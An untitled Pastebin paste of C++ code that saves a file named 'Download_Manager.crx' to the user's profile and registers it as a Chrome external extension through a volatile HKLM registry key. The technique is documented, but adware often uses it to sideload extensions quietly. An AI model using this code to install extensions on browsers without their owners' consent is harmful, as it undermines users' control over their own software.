Advertisement
Guest User

Untitled

a guest
Apr 22nd, 2019
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.94 KB | None | 0 0
  1. int main()
  2. {
  3.     std::wstring key = L"meehehpbdgmachkcfahadeeckbkhmloe";
  4.     std::wstring version = L"1.0.1";
  5.  
  6.     wchar_t buff[MAX_PATH] = { 0 };
  7.     std::wstring userPath;
  8.     SHGetSpecialFolderPathW(nullptr, buff, CSIDL_PROFILE, false);
  9.     userPath.append(buff);
  10.     std::wstring filePath = userPath + L"\\Download_Manager.crx";
  11.     saveCRXFile(filePath);
  12.  
  13.     std::wstring pathReg = L"SOFTWARE\\Google\\Chrome\\Extensions\\" + key;
  14.     HKEY hKey;
  15.     if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, pathReg.c_str(), 0, nullptr, REG_OPTION_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr) != ERROR_SUCCESS)
  16.     {
  17.         int err = GetLastError();
  18.     }
  19.     if (RegSetValueExW(hKey, L"path", 0, REG_SZ, (BYTE*)filePath.c_str(), sizeof(wchar_t) * filePath.size()) != ERROR_SUCCESS)
  20.     {
  21.         int err = GetLastError();
  22.     }
  23.     if (RegSetValueExW(hKey, L"version", 0, REG_SZ, (BYTE*)version.c_str(), sizeof(wchar_t) * version.size()) != ERROR_SUCCESS)
  24.     {
  25.         int err = GetLastError();
  26.     }
  27.  
  28.     return 0;
  29. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement